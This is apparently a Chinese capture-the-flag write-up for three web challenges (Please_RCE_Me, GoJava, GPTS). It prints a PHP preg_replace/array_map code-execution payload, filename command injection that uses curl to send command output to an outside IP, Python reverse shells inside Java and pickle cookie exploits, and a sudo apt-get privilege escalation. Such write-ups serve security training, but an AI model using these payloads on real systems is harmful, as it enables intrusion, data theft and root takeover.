Please_RCE_Me
/这题挺简单的妥妥签到题/
打开题目,得到提示GET传moran=flag
可以看到源码
分析源码,需要利用的函数是preg_replace()
,使用了/e
修饰符,当第一个参数的字符串在第三个参数中检测到时,会将第二个参数作为php代码执行,且使用了/i
的修饰符,大小写不敏感
需要绕过正则匹配
能直接用的命令执行函数基本上都被过滤了,限制了flag字符串长度,并且过滤了preg_replace()
中的please_give_me_flag
,但是没有使用/i
大小写不敏感,所以可以用大写绕过
task
参数传入的为我们需要执行的代码,flag
参数传入含有please_give_me_flag
的字符串
查阅可以进行RCE的函数,发现还有一个array_map()
可以使用
array_map()
需传入两个参数,第一个参数为使用的函数,第二个参数为一个数组,并且数组的数据为函数的参数,例如
&arr = array('phpinfo()');
array_map('assert',&arr);
就可以执行phpinfo()
由于task
参数被限制,可以添加$_POST['a']
来执行任意代码
payload:task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=assert&b[]=phpinfo()
执行成功,开始找flag,用system()
task=array_map($_POST['a'],$_POST['b'])&flag=please_give_me_flaG&a=system&b[]=ls
得到flag
GoJava
/原义是要看源码找路由的,忘了可以直接弹(几个小时的水题QAQ)/
是一个.java
文件在线编译器
可以先扫目录
D:\web\tools\dirsearch>python dirsearch.py -u http://hnctf.imxbt.cn:26624/
_|. _ _ _ _ _ _|_ v0.4.2.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11305
Output File: D:\web\tools\dirsearch\reports\hnctf.imxbt.cn_26624\__24-05-01_02-24-52.txt
Target: http://hnctf.imxbt.cn:26624/
[02:24:52] Starting:
[02:24:53] 301 - 46B - /%2e%2e//google.com -> /google.com
[02:24:53] 301 - 0B - /js -> js/
[02:24:53] 301 - 46B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd
[02:25:00] 301 - 87B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[02:25:05] 301 - 0B - /adm/index.html -> ./
[02:25:06] 301 - 0B - /admin/index.html -> ./
[02:25:07] 301 - 0B - /admin2/index.html -> ./
[02:25:08] 301 - 0B - /admin_area/index.html -> ./
[02:25:10] 301 - 0B - /adminarea/index.html -> ./
[02:25:11] 301 - 0B - /admincp/index.html -> ./
[02:25:12] 301 - 0B - /administrator/index.html -> ./
[02:25:13] 301 - 0B - /api/index.html -> ./
[02:25:13] 301 - 0B - /api/swagger/static/index.html -> ./
[02:25:13] 301 - 0B - /api/swagger/index.html -> ./
[02:25:15] 301 - 0B - /bb-admin/index.html -> ./
[02:25:17] 301 - 46B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -> /etc/passwd
[02:25:17] 301 - 0B - /cgi-bin/index.html -> ./
[02:25:20] 301 - 0B - /core/latest/swagger-ui/index.html -> ./
[02:25:20] 301 - 0B - /css -> css/
[02:25:21] 301 - 0B - /demo/ejb/index.html -> ./
[02:25:22] 301 - 0B - /doc/html/index.html -> ./
[02:25:22] 301 - 0B - /docs/html/admin/index.html -> ./
[02:25:22] 301 - 0B - /docs/html/index.html -> ./
[02:25:22] 301 - 0B - /druid/index.html -> ./
[02:25:23] 301 - 74B - /engine/classes/swfupload//swfupload.swf -> /engine/classes/swfupload/swfupload.swf
[02:25:23] 301 - 77B - /engine/classes/swfupload//swfupload_f9.swf -> /engine/classes/swfupload/swfupload_f9.swf
[02:25:23] 301 - 0B - /estore/index.html -> ./
[02:25:24] 301 - 0B - /examples/jsp/index.html -> ./
[02:25:24] 301 - 0B - /examples/servlets/index.html -> ./
[02:25:24] 301 - 62B - /extjs/resources//charts.swf -> /extjs/resources/charts.swf
[02:25:27] 301 - 72B - /html/js/misc/swfupload//swfupload.swf -> /html/js/misc/swfupload/swfupload.swf
[02:25:28] 301 - 0B - /index.html -> ./
[02:25:29] 200 - 145B - /js/
[02:25:31] 301 - 0B - /logon/LogonPoint/index.html -> ./
[02:25:32] 301 - 0B - /manual/index.html -> ./
[02:25:33] 301 - 0B - /mifs/user/index.html -> ./
[02:25:34] 301 - 0B - /modelsearch/index.html -> ./
[02:25:36] 301 - 0B - /panel-administracion/index.html -> ./
[02:25:39] 301 - 0B - /phpmyadmin/doc/html/index.html -> ./
[02:25:39] 301 - 0B - /phpmyadmin/docs/html/index.html -> ./
[02:25:43] 200 - 77B - /robots.txt
[02:25:45] 301 - 0B - /siteadmin/index.html -> ./
[02:25:48] 301 - 0B - /swagger/index.html -> ./
[02:25:49] 301 - 0B - /templates/index.html -> ./
[02:25:49] 301 - 0B - /tiny_mce/plugins/imagemanager/pages/im/index.html -> ./
[02:25:51] 301 - 0B - /upload -> upload/
[02:25:51] 403 - 10B - /upload/1.php
[02:25:51] 403 - 10B - /upload/
[02:25:51] 403 - 10B - /upload/test.php
[02:25:51] 403 - 10B - /upload/b_user.csv
[02:25:51] 403 - 10B - /upload/b_user.xls
[02:25:51] 403 - 10B - /upload/loginIxje.php
[02:25:51] 403 - 10B - /upload/upload.php
[02:25:51] 403 - 10B - /upload/2.php
[02:25:51] 403 - 10B - /upload/test.txt
[02:25:53] 301 - 0B - /vpn/index.html -> ./
[02:25:53] 301 - 0B - /webadmin/index.html -> ./
[02:25:54] 301 - 0B - /webdav/index.html -> ./
Task Completed
可以看到robots.txt
User-agent: *
Disallow: ./main-old.zip
User-agent: *
Disallow: ./main.go
两个文件,main.go
被403
,main-old.zip
可以下载,是主函数的旧版
package main
import (
"io"
"log"
"mime/multipart"
"net/http"
"os"
"strings"
)
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", fs)
// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}
func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}
// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()
if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
}
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()
// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}
可以看到对上传的文件名是有过滤的,我们可以尝试用文件名进行RCE
POST /gojava HTTP/1.1
Host: hnctf.imxbt.cn:29311
Content-Length: 1025
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryujTPRyD0Ol0dP4y8
Origin: http://hnctf.imxbt.cn:29311
Referer: http://hnctf.imxbt.cn:29311/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=xxx
Connection: close
------WebKitFormBoundaryujTPRyD0Ol0dP4y8
Content-Disposition: form-data; name="file"; filename="a.java||curl -X POST -d a=`whoami` [IP]:4444||.java"
Content-Type: application/octet-stream
1
------WebKitFormBoundaryujTPRyD0Ol0dP4y8--
在服务器上监听4444
,发包
成功RCE
,因为过滤了很多东西,没办法直接弹shell
,再看看文件夹有什么
a.java||curl -X POST -d a=`ls|base64 -w 0` [IP]:4444||.java
Y3NzCmZpbmFsCmdvLm1vZApnb2phdmEKaW5kZXguaHRtbApqcwptYWluLW9sZC56aXAKbWFpbi5nbwpyb2JvdHMudHh0CnVwbG9hZAo=
css
final
go.mod
gojava
index.html
js
main-old.zip
main.go
robots.txt
upload
拿一下main.go
a.java||curl -X POST -d a=`base64 -w 0 main.go` [IP]:4444||.java
package main
import (
"fmt"
"io"
"log"
"math/rand"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"time"
)
var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
func main() {
// 设置路由
http.HandleFunc("/gojava", compileJava)
http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)
// 设置静态文件服务器
fs := http.FileServer(http.Dir("."))
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 检查请求的路径是否需要被禁止访问
if isForbiddenPath(r.URL.Path) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
// 否则,继续处理其他请求
fs.ServeHTTP(w, r)
}))
// 启动服务器
log.Println("Server started on :80")
log.Fatal(http.ListenAndServe(":80", nil))
}
func isForbiddenPath(path string) bool {
// 检查路径是否为某个特定文件或文件夹的路径
// 这里可以根据你的需求进行设置
forbiddenPaths := []string{
"/main.go",
"/upload/",
}
// 检查请求的路径是否与禁止访问的路径匹配
for _, forbiddenPath := range forbiddenPaths {
if strings.HasPrefix(path, forbiddenPath) {
return true
}
}
return false
}
func isFilenameBlacklisted(filename string) bool {
for _, char := range filename {
for _, blackChar := range blacklistChars {
if char == blackChar {
return true
}
}
}
return false
}
// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
// 检查请求方法是否为POST
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
// 解析multipart/form-data格式的表单数据
err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
if err != nil {
http.Error(w, "Error parsing form", http.StatusInternalServerError)
return
}
// 从表单中获取上传的文件
file, handler, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", http.StatusBadRequest)
return
}
defer file.Close()
if isFilenameBlacklisted(handler.Filename) {
http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
return
}
// 检查文件扩展名是否为.java
if !strings.HasSuffix(handler.Filename, ".java") {
http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
return
}
// 保存上传的文件至./upload文件夹
err = saveFile(file, "./upload/"+handler.Filename)
if err != nil {
http.Error(w, "Error saving file", http.StatusInternalServerError)
return
}
// 生成随机文件名
rand.Seed(time.Now().UnixNano())
randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"
// 编译Java文件
cmd := "javac ./upload/" + handler.Filename
compileCmd := exec.Command("sh", "-c", cmd)
//compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
compileOutput, err := compileCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
return
}
// 将编译后的.class文件打包成.jar文件
fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
jarOutput, err := jarCmd.CombinedOutput()
if err != nil {
http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
return
}
// 返回编译后的.jar文件的下载链接
fmt.Fprintf(w, "/final/%s", randomName)
}
// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
// 创建目标文件
f, err := os.Create(filePath)
if err != nil {
return err
}
defer f.Close()
// 将上传的文件内容复制到目标文件中
_, err = io.Copy(f, file)
if err != nil {
return err
}
return nil
}
func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
jarFile := "./final/" + r.URL.Query().Get("jar")
// 检查是否存在指定的.jar文件
if !strings.HasSuffix(jarFile, ".jar") {
http.Error(w, "Invalid jar file format", http.StatusBadRequest)
return
}
if _, err := os.Stat(jarFile); os.IsNotExist(err) {
http.Error(w, "Jar file not found", http.StatusNotFound)
return
}
// 执行.jar文件
cmd := exec.Command("java", "-jar", jarFile)
output, err := cmd.CombinedOutput()
if err != nil {
http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
return
}
// 输出结果
w.Header().Set("Content-Type", "text/plain")
w.Write(output)
}
可以发现有一个接口testExecYourJarOnServer
用于在服务器上运行jar
文件,可以构造java
代码
# ExecuteSystemCommand.java
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class ExecuteSystemCommand {
public static void main(String[] args) {
String[] cmd = { "python3", "-c",
"import os,pty,socket;s=socket.socket();s.connect((\"[IP]\",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"bash\")" };
ProcessBuilder processBuilder = new ProcessBuilder(cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
int exitCode = process.waitFor();
System.out.println("Exited with code: " + exitCode);
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
}
访问接口
http://hnctf.imxbt.cn:27984/testExecYourJarOnServer?jar=429e7d2610c50acb.jar
成功拿到shell
在根目录可以找到/memorandum
文件,翻译是备忘录
猜测是密码,尝试登录
登录成功,拿flag
GPTS
/信息搜集呀/
一个开源的项目,有CVE可以直接用
首先创建Cookie
可以看到Cookie
弹shell
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
# base64
cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJiYXNoIikn
exp
:
import base64
opcode=b'''cos
system
(S'bash -c "{echo,cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMTI3LjAuMC4xIiw0NDQ0KSk7W29zLmR1cDIocy5maWxlbm8oKSxmKWZvciBmIGluKDAsMSwyKV07cHR5LnNwYXduKCJiYXNoIikn}|{base64,-d}|{bash,-i}"'
tR.'''
opcode = base64.b64encode(opcode).decode("utf-8")
print(opcode)
复制运行后的字符串,修改Cookie
然后重新点击加载已保存
按钮
成功拿到shell
flag
不在根目录下,找一下ctfgame
用户能读的文件
find / -type f -user ctfgame -readable 2>/dev/null
有一封邮件,查看
有一个用户和密码,尝试登录
成功登录,有密码可以试试sudo -l
发现我们可以创建root
组用户,创建一个新用户
sudo adduser test -gid=0
登录test
用户
root
组用户还是看不了/root
的,看看/etc/souders
发现kobe
用户可以使用apt-get
创建kobe
用户
用apt-get
提权
https://www.4hou.com/posts/j5EB
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash"
成功提权
Comments NOTHING